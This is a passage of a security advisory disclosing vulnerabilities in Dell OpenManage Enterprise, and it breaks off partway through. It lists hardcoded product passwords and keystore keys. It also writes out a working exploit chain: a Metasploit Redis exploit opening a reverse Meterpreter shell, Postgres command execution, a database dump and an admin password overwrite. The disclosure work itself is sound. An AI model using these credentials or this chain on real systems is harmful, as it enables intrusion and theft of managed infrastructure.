Hello,

Please find a text-only version below sent to security mailing lists.

The complete version on "Multiple vulnerabilities in Dell OpenManage
Enterprise" is posted here:
  https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html


=== text-version of the advisory  ===

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

## Advisory Information

Title: Multiple vulnerabilities in Dell OpenManage Enterprise
Advisory URL: https://pierrekim.github.io/advisories/2021-dell-openmanage-enterprise-0x00.txt
Blog URL: https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html
Date published: 2021-07-19
Vendors contacted: Dell
Release mode: Coordinated-Disclosure
CVE: None yet assigned



## Product description

Dell EMC OpenManage Enterprise is an intuitive infrastructure
management console.
OpenManage Enterprise is a system management and monitoring
application that provides
a comprehensive view of the Dell EMC servers, chassis, storage, and
network switches on the enterprise network.

- From https://www.dell.com/support/kbdoc/en-sg/000175879/support-for-openmanage-enterprise:
Secure: Security is a top priority



## Vulnerabilities Summary

Vulnerable versions: all versions up to 3.6.1

The summary of the vulnerabilities is:

1. Hardcoded ActiveMQ credentials
2. Hardcoded ActiveMQ credentials for JMX
3. Hardcoded ActiveMQ keystore
4. Hardcoded JDBC Passwords
5. Hardcoded passwords for core_admin and replicator
6. KeyStore using hardcoded Key
7. Permissive ACL for Postgres
8. Local Privilege Escalation (as postgres) inside postgres docker
9. Remote Auth Bypass with 2 pre-auth RCEs in docker instances
10. Undocumented `system` account
11. Database key stored in the database
12. Weak permission on SSL/TLS Key
13. Multiple Local Privilege Escalations from `mcsimetricssvc` -
partially silently patched in version 3.6.1
14. Multiple Local Privilege Escalations from group `mcsitasksvc`
15. Multiple Local Privilege Escalations from group `tomcat`
16. Local Privilege Escalation from group `omctui`
17. Multiple TOCTOUs in "security_tool.sh" shell script
18. Incorrect access for tomcat
19. Grub password stored in postgres, without authentication for local user
20. Pre-auth and post-auth Java Deserializations - silently patched in
version 3.6.1
21. Idrac User


Miscellaneous notes:

We had forgotten these vulns until we saw some tweets regarding
`dbutil_2_3.sys` and
we reminded we still had unpublished research in Dell products.

This research was done a year ago (in July 2020) against OpenManage 3.4 and
we confirmed all the versions - including the latest version (3.6.1) -
are affected by the vulnerabilities.

When checking openmanage enterprise 3.5, we also found new
vulnerabilities (java stuff, grub, idrac).
When checking openmanage enterprise 3.6.1, it appears some
vulnerabilities were silently patched (java stuff and a LPE).

We also removed some potential vulnerabilities because their exploitations
were not straightforward due to the presence of SELinux.



## Details - Hardcoded ActiveMQ credentials

It is possible to retrieve hardcoded ActiveMQ credentials by reading
the `/opt/apache-activemq-5.*/conf/credentials.properties` file:

    [root@openmanage-enterprise /]# cat
/opt/apache-activemq-5.*/conf/credentials.properties
    activemq.username=system
    activemq.password=manager
    guest.password=password

A new file (`credentials-enc.properties`, which was the file
`credentials.properties` in previous version of OpenManage) appeared
in the 3.5 version:

    [root@openmanage-enterprise /]# cat
/opt/apache-activemq-5.*/conf/credentials-enc.properties
    activemq.username=system
    activemq.password=ENC(mYRkg+4Q4hua1kvpCCI2hg==)
    guest.password=ENC(Cf3Jf3tM+UrSOoaKU50od5CuBa8rxjoL)

Note: Prior to the 3.5 version, the file `credentials.properties`
contained the identical encrypted credentials, instead of clear-text
credentials:

    [root@openmanage-enterprise /]# cat
/opt/apache-activemq-5.10.0/conf/credentials.properties
    activemq.username=system
    activemq.password=ENC(mYRkg+4Q4hua1kvpCCI2hg==)
    guest.password=ENC(Cf3Jf3tM+UrSOoaKU50od5CuBa8rxjoL)

In the latest version, it appears the passwords are now in clear-text.

ActiveMQ listen to all the public interfaces:

    [root@openmanage-enterprise /]# ps -auxww|grep -i active
    ps -auxww|grep -i active
    activem+  1065  0.9  1.2 4042088 208636 ?      Sl   04:37   0:06
/usr/bin/java -Xms256m -Xmx512m
-Dorg.apache.activemq.SERIALIZABLE_PACKAGES=java.lang,javax.security,java.util,org.apache.activemq,org.fusesource.hawtbuf,com.thoughtworks.xstream.mapper,com.dell.enterprise.common.integration.lib.taskengine
-Dcom.sun.management.jmxremote -Djava.awt.headless=true
-Djava.io.tmpdir=/var/lib/activemq/tmp
-Dactivemq.classpath=/opt/apache-activemq-5.16.0//conf:/opt/apache-activemq-5.16.0//../lib/:
-Dactivemq.home=/opt/apache-activemq-5.16.0/
-Dactivemq.base=/opt/apache-activemq-5.16.0/
-Dactivemq.conf=/opt/apache-activemq-5.16.0//conf
-Dactivemq.data=/var/lib/activemq/data -jar
/opt/apache-activemq-5.16.0//bin/activemq.jar start

    [root@openmanage-enterprise /]# netstat -laputen|grep 1065
    netstat -laputen|grep 1065
    tcp6       0      0 :::46403                :::*
 LISTEN      1000       27797      1065/java
    tcp6       0      0 :::61616                :::*
 LISTEN      1000       29817      1065/java

Luckily, the firewall blocks all incoming connections to these 2 ports.

Other credentials found:

    [root@openmanage-enterprise /]# cat
/opt/apache-activemq-*/conf/jetty-realm.properties
    [...]
    # Defines users that can access the web (console, demo, etc.)
    # username: password [,rolename ...]
    admin: admin, admin
    user: user, user

Furthermore, SELinux doesn't allow users to read
`/opt/apache-activemq-5.*/conf/` files - still the passwords are
hardcoded.



## Details - Hardcoded ActiveMQ credentials for JMX

Java Management Extensions (JMX) allows remote debugging of java applications.

These files contain the hardcoded passwords in clear-text for JMX
access to ActiveMQ.
Even if they have wrong permissions, SELinux doesn't allow regular
users to read `/opt/apache-activemq-5.*/conf/` files.
Still the passwords are hardcoded, as shown below:

    [root@openmanage-enterprise /]# ls -la /opt/apache-activemq-5.16.0/conf/jmx*
    -rwxr-xr-x. 1 root root 965 Sep 25  2020
/opt/apache-activemq-5.16.0/conf/jmx.access
    -rwxr-xr-x. 1 root root 964 Sep 25  2020
/opt/apache-activemq-5.16.0/conf/jmx.password

    [root@openmanage-enterprise /]# tail -n 1
/opt/apache-activemq-5.16.0/conf/jmx.access
    admin readwrite

    [root@openmanage-enterprise /]# tail -n 1
/opt/apache-activemq-5.16.0/conf/jmx.password
    admin activemq

It is interesting to note that the path of ActiveMQ changes, from old
version to the recent one,
indicating activemq is updated for every new release of Open Manage
Enterprise but the hardcoded credentials are never changed.



## Details - Hardcoded ActiveMQ keystore

We can find several hardcoded keystore files inside
`/opt/apache-activemq-5.16.0/conf`:

    [root@openmanage-enterprise conf]# ls -la *ts *ks
    -rwxr-xr-x. 1 root root 1370 Sep 25  2020 broker.ks
    -rwxr-xr-x. 1 root root  665 Sep 25  2020 broker.ts
    -rwxr-xr-x. 1 root root 1357 Sep 25  2020 client.ks
    -rwxr-xr-x. 1 root root  665 Sep 25  2020 client.ts
    [root@openmanage-enterprise conf]# sha256sum *ts *ks
    1c17bb3b5d1335a0821eb5b9c8c1de7331219619416c9d31a6b775e232bf4456  broker.ts
    1c17bb3b5d1335a0821eb5b9c8c1de7331219619416c9d31a6b775e232bf4456  client.ts
    718d056b1a5518abf2a5ab38d0e81eb6d41c3187d93c7c54817fcb20503b0c8c  broker.ks
    ce0d36c002d9912dc5f7344353735277d0af15630199ec91e96eef29a5acd3f4  client.ks

The permissions are wrong (644) but SELinux doesn't allow regular
users to read `/opt/apache-activemq-5.*/conf/` files.
Still the files are hardcoded.

Also, the password for the keystore file (`broker.ks`) is defined in
the `jetty.xml` file, with 644 permission:

    <property name="keyStorePath" value="${activemq.conf}/broker.ks" />
    <property name="keyStorePassword" value="password" />

The hardcoded password for the keystore is `password`.



## Details - Hardcoded JDBC Passwords

The passwords is hardcoded (`Dell123$`) and can't be changed:

    [root@openmanage-enterprise /]# cat
/opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
    hibernate.connection.url=jdbc:postgresql://localhost:5432/enterprisedb
    hibernate.connection.username=core_admin
    hibernate.connection.password=Dell123$

Wrong permissions but SELinux again blocks any read attempt.

    [root@openmanage-enterprise /]# ls -la
/opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties
    -rwxrwxr-x. 1 root root 151 Sep 25  2020
/opt/dell/mcsi/webapps/api/WEB-INF/classes/jdbc.properties

In previous versions (before 3.5), it was also possible to extract the
password from the files
`/opt/dell/mcsi/lib/db/scripts/mcsi/sysconfigdao/TSQL/9000_attribute_registry
- About.txt` and
`/opt/dell/mcsi/lib/db/scripts/mcsi/sysconfigdao/TSQL/9040_default_data_sysconfig_templates
- About.txt`.
These 2 files contained:

    [...]
    Create a new Data Source using "PostgreSQL Unicode(x64)"

    Data Source:    LexingtonLocal
    Database:               enterprisedb
    Server:                 localhost
    User Name:              core_admin
    Password:               Dell123$  <---------- password
    SSL Mode:               disabled
    Port:                   5432
    Driver:                 PostgreSQL ODBC Driver(UNICODE)

    Alter the "Datasource" within Options of the new data source
    Bools as Char:  OFF
    Unknown Sizes:  Longest
    [...]

    There will be a couple errors that are fixed by replacing 'select'
with 'perform' at the line numbers given by the errors.

    [...]
    declare @serverName nvarchar(256) = N'LEXINGTON';
    declare @dataSourceName nvarchar(256) = N'LexingtonLocal';
    declare @userName nvarchar(256) = N'core_admin';
    declare @password nvarchar(256) = N'Dell123$'; <------ password
    [...]


These files don't exist anymore in version 3.5.

Interestingly, `Dell123$` is the provided password in the documentation files:

- From `/opt/dell/omc/webapps/omc/console/omcOnlineHelp/en/GUID-0A8DECB1-C2E7-4904-A071-FEC75D6A54C7.html`:

    Must contain at least one character in: uppercase, lowercase,
digit, and special character. For example, Dell123$

The command `grep -ri 'Dell123\$' /opt/` as root will list several
files containing this password.



## Details - Hardcoded passwords for core_admin and replicator

The `/opt/dell/mcsi/lib/db/scripts/mcsi/00_core/01CreateDB/01RoleCreation.sql`
script has wrong permissions and
contains hardcoded clear-text passwords for the creation of roles in postgres:

- - replicator, with password `Password123$`,
- - core_admin, with password `md5292f7d66e18e0128fa11bebb95c467a6` as
`UNENCRYPTED PASSWORD` is being used instead of `ENCRYPTED PASSWORD`.


    [root@openmanage-enterprise /]# cat
/opt/dell/mcsi/lib/db/scripts/mcsi/00_core/01CreateDB/01RoleCreation.sql

    -- Role: "core_admin"

    -- DROP ROLE core_admin;

    --CREATE ROLE core_admin LOGIN
    --  ENCRYPTED PASSWORD 'md564f6b341503abb8ca26367630f233b22'
    --  NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE;

    --  CREATE ROLE replicator LOGIN
    --  ENCRYPTED PASSWORD 'md5a7c4e11df28c56eac643ace589e81d4e'
    --  NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE REPLICATION;

     CREATE ROLE core_admin LOGIN
      UNENCRYPTED PASSWORD 'md5292f7d66e18e0128fa11bebb95c467a6'
      SUPERUSER INHERIT NOCREATEDB NOCREATEROLE;

     CREATE ROLE replicator LOGIN
      UNENCRYPTED PASSWORD 'Password123$'
      NOSUPERUSER INHERIT NOCREATEDB NOCREATEROLE REPLICATION;



## Details - KeyStore using hardcoded Key

By default, only the passwords for servers/idrac/appliances inside the
postgres database are encrypted using a keystore containing a secret
key.

This keystore file is located in
`/opt/dell/mcsi/appliance/config/security/keystore.p12`.

At first, it seems insecure because its permissions are wrong (664)
but this file is in fact protected by SELinux:

    [root@openmanage-enterprise /]# ls -la
/opt/dell/mcsi/appliance/config/security/keystore.p12
    -rw-rw-r--+ 1 root root 313 May 16 04:06
/opt/dell/mcsi/appliance/config/security/keystore.p12

SELinux policy:

    /opt/dell/mcsi/appliance/config/security/keystore\.p12  --  system_u:object_r:mcsi_appliance_secret_t:s0

Nonetheless, the password of the keystore is hardcoded:

- From `/opt/dell/omc/scripts/runonce/update_keystorepassword_runonce.sh`:

    [root@openmanage-enterprise /]# cat
/opt/dell/omc/scripts/runonce/update_keystorepassword_runonce.sh
    [...]
    /usr/java/latest/bin/keytool -storepasswd -new
"7673D238EBF23E51EC18E9D9B5DAB299" -storepass "changeit" -keystore
/opt/dell/mcsi/appliance/config/security/keystore.p12
    [...]
    /usr/java/latest/bin/keytool -alias "secretKey" -keypasswd -new
"7673D238EBF23E51EC18E9D9B5DAB299" -keypass "changeit" -storepass
"7673D238EBF23E51EC18E9D9B5DAB299" -keystore
/opt/dell/mcsi/appliance/config/security/keystore.p12

The password `7673D238EBF23E51EC18E9D9B5DAB299` was found in all
versions of OpenManage and it works:

    [root@openmanage-enterprise /]# openssl pkcs12 -info -in
/opt/dell/mcsi/appliance/config/security/keystore.p12
    Enter Import Password: [7673D238EBF23E51EC18E9D9B5DAB299]
    MAC Iteration 100000
    MAC verified OK
    PKCS7 Data
    Warning unsupported bag type: secretBag

We can also find the original password `changeit` for the keystore
inside the `/opt/dell/mcsi/appliance/scripts/ca/importCert.exp`
script:

    [root@openmanage-enterprise /]# cat
/opt/dell/mcsi/appliance/scripts/ca/importCert.exp
    [...]
    spawn /usr/java/latest/bin/keytool -import -alias localhost -file
/etc/pki/tls/certs/localhost.crt -keystore
/usr/java/latest/lib/security/cacerts
    match_max 100000
    expect -exact "Enter keystore password:  "
    send -- "changeit\r"
    expect -exact "Trust this certificate? \[no\]:  "
    send -- "yes\r"
    sleep 3



## Details - Permissive ACL for Postgres

- From the files `/opt/dell/mcsi/lib/db/data/pg_hba.conf.core` and
`/opt/dell/mcsi/lib/db/data/pg_hba.conf.trust`,
the entire docker IP range (`169.254.255.1/24`) has a full access to
postgres, without password (`trust`)

    [root@openmanage-enterprise /]# cat
/opt/dell/mcsi/lib/db/data/pg_hba.conf.trust
    # TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD

    # "local" is for Unix domain socket connections only
    local   all         postgres                           trust
    local   replication     rep
     trust
    # IPv4 local connections:
    host    all         postgres          127.0.0.1/32  trust
    host    all          postgres          169.254.255.1/24  trust
    host    replication     rep                     169.254.255.1/24
     trust

    # IPv4 & IPv6 local connections:
    host    all     all     127.0.0.1/32       trust
    host    all      all      169.254.255.1/24  trust

    host    all     all     ::1/128       trust
    #host replication     all     172.18.100.0/16     md5
    #hostssl     replication     all     172.18.100.0/16     md5
    host    all     postgres     ::1/128          trust
    [root@openmanage-enterprise /]# cat
/opt/dell/mcsi/lib/db/data/pg_hba.conf.core
    # TYPE  DATABASE    USER        CIDR-ADDRESS          METHOD

    # "local" is for Unix domain socket connections only
    local  postgres    postgres             trust
    host  enterprisedb  core_admin    ::1/128      trust
    host  enterprisedb  core_admin    127.0.0.1/32  trust
    host  enterprisedb  core_admin    169.254.255.1/24  trust
    local  enterprisedb  core_admin            trust

    local  replication     rep                                             trust
    host  replication     rep                     169.254.255.1/24        trust


In fact, no password is being used by the solution to manage the
database, as shown below:

    [root@openmanage-enterprise /]# cat
/var/etc/opt/dell/mcsi/logjdbc.properties
    postgresql.connection.url=jdbc:postgresql://localhost:5432/enterprisedb
    postgresql.connection.username=core_admin
    postgresql.connection.password=

A compromise of a docker instance will likely provide a full access to
the Postgres database (see
"Remote Auth Bypass with 2 pre-auth RCEs in docker instances" for a demo).

Also, it it possible to see that authentication for Posgtres in the
device is mainly based on IP:

    [root@openmanage-enterprise /]# cat
/opt/dell/omc/scripts/execute_db_script.sh
    #!/usr/bin/env bash

    dbHost=localhost
    dbUser=core_admin
    dbName=enterprisedb
    dbPort="5432"
    psql_arguments=()
    [...]

No authentication is being defined in this shell script.



## Details - Local Privilege Escalation (as postgres) inside postgres docker

By default, some ACLs allow to connect to Postgres without a password.

A local unprivileged user (e.g.: `nobody`) inside the host or inside
any docker instances
running in the appliance will get code execution as `postgres` inside
the postgres docker.
He will also get a full control over the database, so a full control
over the appliance.

It is possible to reach the postgres database on localhost, thanks to
a `docker-proxy` daemon:

    [root@openmanage-enterprise /]# ps -auxww|grep proxy | grep 5432
    root      1340  0.3  0.0 448608 13184 ?        Sl   04:37   0:36
/usr/bin/docker-proxy -proto tcp -host-ip 127.0.0.1 -host-port 5432
-container-ip 169.254.255.2 -container-port 5432

It is also possible to reach the postgres database using the IP of the
docker instance:

    [nobody@openmanage-enterprise /]$ psql -d enterprisedb -h
169.254.255.2 -U core_admin -p 5432
    psql (11.9, server 11.6)
    Type "help" for help.

    enterprisedb=# \l
                                        List of databases
         Name     |   Owner    | Encoding |   Collate   |    Ctype
|   Access privileges
    --------------+------------+----------+-------------+-------------+-----------------------
     enterprisedb | core_admin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
     postgres     | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
     template0    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8
| =c/postgres          +
                  |            |          |             |
| postgres=CTc/postgres
     template1    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8
| =c/postgres          +
                  |            |          |             |
| postgres=CTc/postgres
    (4 rows)

    enterprisedb=# \q

    [nobody@openmanage-enterprise /]$ psql -d enterprisedb -h
127.0.0.1 -U core_admin -p 5432
    psql (11.9, server 11.6)
    Type "help" for help.

    enterprisedb=# \l
                                        List of databases
         Name     |   Owner    | Encoding |   Collate   |    Ctype
|   Access privileges
    --------------+------------+----------+-------------+-------------+-----------------------
     enterprisedb | core_admin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
     postgres     | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
     template0    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8
| =c/postgres          +
                  |            |          |             |
| postgres=CTc/postgres
     template1    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8
| =c/postgres          +
                  |            |          |             |
| postgres=CTc/postgres
    (4 rows)

    enterprisedb=# \q

It is then possible to get code execution inside the postgres docker,
without authentication:

    [nobody@openmanage-enterprise /]$ psql -d enterprisedb -h
127.0.0.1 -U core_admin -p 5432
    psql (11.9, server 11.6)
    Type "help" for help.

    enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
    NOTICE:  table "cmd_exec" does not exist, skipping
    DROP TABLE
    enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
    CREATE TABLE
    enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
    COPY 1
    enterprisedb=# SELECT * FROM cmd_exec;
                                 cmd_output
    --------------------------------------------------------------------
     uid=26(postgres) gid=26(postgres) groups=26(postgres),26(postgres)
    (1 row)



## Details - Remote Auth Bypass with 2 pre-auth RCEs in docker instances

There is a chain of pre-auth vulnerabilities allowing to:
- - get a shell on the redis container, as `redis`
- - get a shell on the postgres container, as `postgres`
- - get a full access to the postgres database
- - bypass authentication on the web interface as admin

Due to some requirements in the exploit chain, the attacker needs to  be
on the same subnet as the target (same LAN, without  a  gateway  between
the target  and  the  attacker).

The attack scenario is:
1. attacker will own the redis running in a container inside the virtual machine
   running Dell OpenManage Enterprise and get a shell inside this container
2. attacker will use the shell inside the redis container as a relay
to get access
   to the remote postgresql server
3. attacker will get a shell on the postgresql server
4. attacker will redefine a new password for the web interface and will dump
   the entire postgresql server
5. attacker will get an access on the web interface as admin

The network flow is:

Attacker(192.168.1.102) -> redis(169.254.255.3, routed by
192.168.1.100) -> Posgres(169.254.255.2)

IPs used in this setup:

- - 192.168.1.100: target virtual machine running Dell OpenManage Enterprise.
- - 192.168.1.102: attacker machine, running Kali.

Internal IPs inside Dell OpenManage Enterprise, by default, already
configued by the solution:

- - 169.254.255.2 is the internal IP of the postgres container running
inside the virtual machine
  running Dell OpenManage Enterprise.
- - 169.254.255.3 is the internal IP of the redis container running
inside the virtual machine
  running Dell OpenManage Enterprise.

    [root@openmanage-enterprise /]# docker ps
    CONTAINER ID        IMAGE                              COMMAND
             CREATED             STATUS              PORTS
                   NAMES
    ecf97860f111        redis:latest
"docker-entrypoint.s"   2 hours ago         Up 2 hours
127.0.0.1:6379->6379/tcp             redis
    e1e82315ec5b        mcsi/omeproductionimage:2.6.0.43
"docker-entrypoint.s"   2 hours ago         Up 2 hours
2345/tcp, 127.0.0.1:5432->5432/tcp   primarydatabase

Shell and Metasploit session:

It is required to add a route to the internal IP of the redis container
running inside OpenManage Enterprise:

    kali# route add -host 169.254.255.3 gw 192.168.1.100
    kali# traceroute -nI 169.254.255.3
    traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
     1  192.168.1.100  0.775 ms  0.762 ms  1.060 ms
     2  169.254.255.3  1.911 ms  1.922 ms  1.893 ms

On the 3.6.1 version, pings are now dropped. Using `tcptraceroute`:

    kali# tcptraceroute 169.254.255.3 6379
    Running:
      traceroute -T -O info -p 6379 169.254.255.3
    traceroute to 169.254.255.3 (169.254.255.3), 30 hops max, 60 byte packets
     1  192.168.1.100 (192.168.1.100)  0.489 ms  0.440 ms  0.545 ms
     2  169.254.255.3 (169.254.255.3) <syn,ack>  0.852 ms  0.821 ms  0.720 ms

An attacker can now reach the redis and postgres docker instances
because iptables is not correctly configured and
allow the 2 services to be reachable from the WAN. Also, by default,
IP forwarding is enabled:

    [root@openmanage-enterprise /]# sysctl net.ipv4.conf.all.forwarding
    net.ipv4.conf.all.forwarding = 1

Why not directly reaching Postgres ?
By default, ACLs defined in Postgres configuration only allow
connections from the `169.254.255.0/24` range,
thus it is required to reach the redis interface available on the
`169.254.255.3` IP and then use redis as a relay to reach the postgres
instance.

    local postgres    postgres            trust
    host  enterprisedb  core_admin    ::1/128     trust
    host  enterprisedb  core_admin    127.0.0.1/32  trust
    host  enterprisedb  core_admin    169.254.255.1/24  trust
    local enterprisedb  core_admin            trust

    local replication     rep                                             trust
    host  replication     rep                     169.254.255.1/24        trust

When trying to connect directly to the IP of Postgres, we can see it
is ACL-blocked (after adding a route to `169.254.255.2`):

    kali# psql -d enterprisedb -h 169.254.255.2 -U core_admin -p 5432
    kali# psql: error: could not connect to server: FATAL:  no
pg_hba.conf entry for host "192.168.1.102", user "core_admin",
database "enterprisedb", SSL off

We can test if we can reach directly the redis daemon, running inside
the redis docker:

    kali# telnet 169.254.255.3 6379
    Trying 169.254.255.3...
    Connected to 169.254.255.3.
    Escape character is '^]'.
    TEST
    -ERR unknown command `TEST`, with args beginning with:
    config set dir /tmp
    +OK
    ^]q
    telnet> q
    Connection closed.

We can reach redis, time to get RCE using master/slave replication
using metasploit.

On the attacker machine, it is required to update the
`/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb`
file
to use a writable directory for the user `redis`:

Patch `/usr/share/metasploit-framework/modules/exploits/linux/redis/redis_unauth_exec.rb`
to add:

    131a132
    >     redis_command('CONFIG', 'SET', 'dir', '/tmp')


Metasploit session:

    kali# msfconsole
    msf5 > use exploit/linux/redis/redis_unauth_exec
    msf5 exploit(linux/redis/redis_unauth_exec) > set SRVHOST 192.168.1.102
    SRVHOST => 192.168.1.102
    msf5 exploit(linux/redis/redis_unauth_exec) > set LHOST 192.168.1.102
    LHOST => 192.168.1.102
    msf5 exploit(linux/redis/redis_unauth_exec) > set RHOSTS 169.254.255.3
    RHOSTS => 169.254.255.3
    msf5 exploit(linux/redis/redis_unauth_exec) > run

    [*] Started reverse TCP handler on 192.168.1.102:4444
    [*] 169.254.255.3:6379    - Compile redis module extension file
    [+] 169.254.255.3:6379    - Payload generated successfully!
    [*] 169.254.255.3:6379    - Listening on 192.168.1.102:6379
    [*] 169.254.255.3:6379    - Rogue server close...
    [*] 169.254.255.3:6379    - Sending command to trigger payload.
    [*] Sending stage (3021284 bytes) to 192.168.1.100
    [*] Meterpreter session 1 opened (192.168.1.102:4444 ->
192.168.1.100:60572) at 2020-07-11 12:59:57 -0400
    [!] 169.254.255.3:6379    - This exploit may require manual
cleanup of './mkmiq.so' on the target

    meterpreter > ls
    Listing: /tmp
    =============

    Mode              Size   Type  Last modified              Name
    ----              ----   ----  -------------              ----
    100644/rw-r--r--  46808  fil   2020-07-09 08:59:55 -0400  mkmiq.so

    meterpreter > shell
    Process 19 created.
    Channel 1 created.
    id
    uid=999(redis) gid=999(redis) groups=999(redis)
    exit
    meterpreter >

Note, with a recent metasploit, the exploit has been moved to
`exploit/linux/redis/redis_replication_cmd_exec`.

The diff is now:

    diff /usr/share/metasploit-framework/modules/exploits/linux/redis/redis_replication_cmd_exec.rb
    137a138
    >     redis_command('CONFIG', 'SET', 'DIR', '/tmp')

This works with all openmanage version (up to the latest version - 3.6.1).

After getting a shell as `redis` inside the redis docker, it is time
to add a port forwarding
to the postgresql, in order to bypass ACLs:

    meterpreter > portfwd add -l 5432 -p 5432 -r 169.254.255.2
    [*] Local TCP relay created: :5432 <-> 169.254.255.2:5432

On another shell, an attacker will get code execution inside the PGSQL
container:

    kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
    psql (12.1 (Debian 12.1-2), server 11.6)
    Type "help" for help.

    enterprisedb-# \l
                                        List of databases
         Name     |   Owner    | Encoding |   Collate   |    Ctype
|   Access privileges
    --------------+------------+----------+-------------+-------------+-----------------------
     enterprisedb | core_admin | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
     postgres     | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8 |
     template0    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8
| =c/postgres          +
                  |            |          |             |
| postgres=CTc/postgres
     template1    | postgres   | UTF8     | en_US.UTF-8 | en_US.UTF-8
| =c/postgres          +
                  |            |          |             |
| postgres=CTc/postgres
    (4 rows)

    enterprisedb=# DROP TABLE IF EXISTS cmd_exec;
    DROP TABLE
    enterprisedb=# CREATE TABLE cmd_exec(cmd_output text);
    CREATE TABLE
    enterprisedb=# COPY cmd_exec FROM PROGRAM 'id';
    COPY 1
    enterprisedb=# SELECT * FROM cmd_exec;
                          cmd_output
    -------------------------------------------------------
     uid=26(postgres) gid=26(postgres) groups=26(postgres)
    (1 row)

    enterprisedb=#


Dump of database:

    kali# pg_dump -d enterprisedb -h 127.0.0.1 -U core_admin > dump.sql

Time to redefine the administrator password:

Passwords are located in `encryptedstring` table:

    kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
    enterprisedb=# SELECT * FROM encryptedstring;
    3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
    4 | system
    1 | $2a$10$bzBdUKXFdlb0U7Hl.w6XIuQFKQQr0Qgi165KN2TaaOemlaAe.OuU2
    2 | admin

Change admin password into `x`:

    kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
    enterprisedb=# UPDATE encryptedstring SET
encrypteddata='$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6'
WHERE id=1;
    UPDATE 1
    enterprisedb=#

Now, use `admin` / `x` on the web interface ( https://192.168.1.100/ ).

After reversing some java code, passwords are blowfish 10 rounds:

    kali# python3
    Python 3.7.5 (default, Oct 27 2019, 15:43:29)
    [GCC 9.2.1 20191022] on linux
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import bcrypt
    >>> passwd = b'x'
    >>> salt = b'$2a$10$XXXXXXXXXXXXXXXXXXXXXXXXX' # or
bcrypt.gensalt(rounds=10)
    >>> hashed = bcrypt.hashpw(passwd, salt)
    >>> print(hashed)
    b'$2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6'
    >>>

The main takeways in this setup are:

- - Incorrect iptables firewall for Postgres and Redis - only the main
IP of the appliance is
  correctly firewalled, docker instances have these 2 ports open
- - IP forwarding is enabled
- - Lack of authentication for Redis,
- - Lack of authentication for Postgres, only based on IP with an
errror when defining the netmask:
  `169.254.255.1/24` is being used instead of `169.254.255.1/32` or
`169.254.255.0/24`
- - Incorrect ACL for Postgres
- - SELinux is useless in this case because all actions are legit
- - Custom 'encryption' everywhere to waste time



## Details - Undocumented `system` account

There is likely an undocumented system account in all openmanage
versions, as shown below:

We can list the users from the postgres database:

    enterprisedb=# select * from user_entity;
    id   | user_type_id | directory_server_id | user_name |
description | pwcredential_id | email | isenabled | locked |
enable_smart_card | ca_certificate | user_certificate |
default_account | object_guid | object_sid | id_owner
    -------+--------------+---------------------+-----------+-------------+-----------------+-------+-----------+--------+-------------------+----------------+------------------+-----------------+-------------+------------+---------
    10066 |            1 |                     | admin     | admin
  |               1 |       | t         | f      | f                 |
    10068 |            1 |                     | system    | system
  |               2 |       | t         | f      | f                 |

    enterprisedb=# select * from passwordcredential;
    id |             dtype              | label  | usernameid |
passwordid | domainid |         updatedate
    ----+--------------------------------+--------+------------+------------+----------+----------------------------
      2 | HashedPasswordCredentialEntity | system |          4 |
   3 |          | 2020-07-11 18:08:50.207+00
      1 | HashedPasswordCredentialEntity | admin  |          2 |
   1 |          | 2020-07-11 18:14:41.012+00
    (2 rows)

    kali# psql -d enterprisedb -h 127.0.0.1 -U core_admin -p 5432
    enterprisedb=# SELECT * FROM encryptedstring;
     id |                        encrypteddata
    ----+--------------------------------------------------------------
      3 | $2a$10$.hbHnOt6crprUoAO2PMJxerc8nQ12SJ.jxgM8JgZiuLIfkCVNgSqe
      4 | system
      2 | admin
      1 | $2a$10$XXXXXXXXXXXXXXXXXXXXXOQhTG4aUZ8kSMBOnpMruh17xTsANIaT6

Also from dump.sql:

    COPY core.passwordcredential (id, dtype, label, usernameid,
passwordid, domainid, updatedate) FROM stdin;
    2       HashedPasswordCredentialEntity  system  4       3       \N
     2020-07-11 11:24:42.386+00
    1       HashedPasswordCredentialEntity  admin   2       1       \N
     2020-07-11 11:26:14.551+00
    \.

When trying to add a `system` account:

[please use the HTML version at
https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html]

[please use the HTML version at
https://pierrekim.github.io/blog/2021-07-19-dell-openmanage-enterprise-0day-vulnerabilities.html]

This account doesn't seem to be documented but we were unable to use
it to login into the web service.

Its aim is currently not known.



## Details - Database key stored in the database

The application database key (`DatabaseKey`) is generated randomly
during the installation and is stored inside the database.
It is possible to extract it without authentication:

    COPY core.encryptionkey (id, dtype, bytes) FROM stdin;
    1       DatabaseKey
